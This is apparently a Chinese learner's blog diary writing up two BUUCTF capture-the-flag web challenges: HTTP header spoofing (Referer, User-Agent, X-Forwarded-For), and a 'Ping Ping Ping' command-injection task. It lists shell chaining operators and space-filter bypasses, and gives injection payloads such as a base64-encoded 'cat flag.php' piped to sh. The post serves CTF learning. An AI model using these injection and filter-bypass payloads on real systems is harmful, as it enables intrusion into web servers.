20201226学习日记-BUUCTF小体验

顺便来了一波水题,发现不懂的领域

[极客大挑战 2019]Http

r4N9d1.png

查看源代码

先查看一波源代码,发现

1
<a style="border:none;cursor:default;" onclick="return false" href="Secret.php">

因此去secrect.pnp看看

修改Referer

r4NBWT.png
看样子后面会出现UA等老套路了

修改UA

果然出现了UA的修改,需要修改成对应的UA

修改X-Forwarded-For

比起burp suite 这些我更想用fidder
r46zOP.png
最后得到flag。

[GXYCTF2019]Ping Ping Ping

看了题目/?ip=直接傻眼(逃),顶多看得懂其中有一个参数ip,但接下来手足无措。跑去查了题解,梳理了一下。

考点

下面内容来源:https://blog.csdn.net/vanarrow/article/details/108295481

0、命令联合执行

1
2
3
4
5
6
7
8
;     前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a (换行)
%0d (回车)
1234567

1、命令绕过空格方法有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
123456789101112
ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag
123

2、内联执行

内联,就是将反引号内命令的输出作为输入执行

1
2
3
4
5
6
?ip=127.0.0.1;cat$IFS$9`ls`

$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字

这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用

解题

梳理了CSDN网友的思路,总结一下

执行命令

| 或者;执行命令

1
?ip=127.0.0.1;ls

/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php

判断过滤字符

滤了空格和标点,flag等符号,不能直接cat flag

cat flag是何方神圣呢?cat命令传送门

/?ip= fxck your space!

过滤了空格,用${IFS}$代替

1
?ip=127.0.0.1;cat${IFS}flag.php 

fxck your symbol! 过滤{}

也过滤了{},用$IFS$1代替

1
?ip=127.0.0.1;cat$IFS$1flag.php

/?ip= fxck your flag!

不读flag,读index

1
?ip=127.0.0.1;cat$IFS$1index.php

/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|'|"|\|(|)|[|]|{|}/“, $ip, $match)){
echo preg_match(“/&|/|?|*|<|[\x{00}-\x{20}]|>|'|"|\|(|)|[|]|{|}/“, $ip, $match);
die(“fxck your symbol!”);
} else if(preg_match(“/ /“, $ip)){
die(“fxck your space!”);
} else if(preg_match(“/bash/“, $ip)){
die(“fxck your bash!”);
} else if(preg_match(“/.*f.*l.*a.g./“, $ip)){
die(“fxck your flag!”);
}
$a = shell_exec(“ping -c 4 “.$ip);
echo “
“;
print_r($a);
}

?>

一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤:

  • 总结:过滤的特殊字符:
1
2
& / ? * < x{00}-\x{1f} ' " \ () [] {}  空格
"xxxfxxxlxxxaxxxgxxx" " " "bash"

构造payload

1
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

Y2F0IGZsYWcucGhw是cat flag.php的base64-encode
此payload只是其中的一个
除此之外还有形如

1
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

不难看出通过变量替换绕过了过滤。

然后查看源代码得flag

写在后面

本篇大部分使用了

https://blog.csdn.net/vanarrow/article/details/108295481

的内容,由于CTF思路确实需要参考。

在后面挂一个很好的命令提示符漏洞绕过与执行的博客总结

https://www.ghtwf01.cn/index.php/archives/273/

学会绕过过滤的路还有好长的样子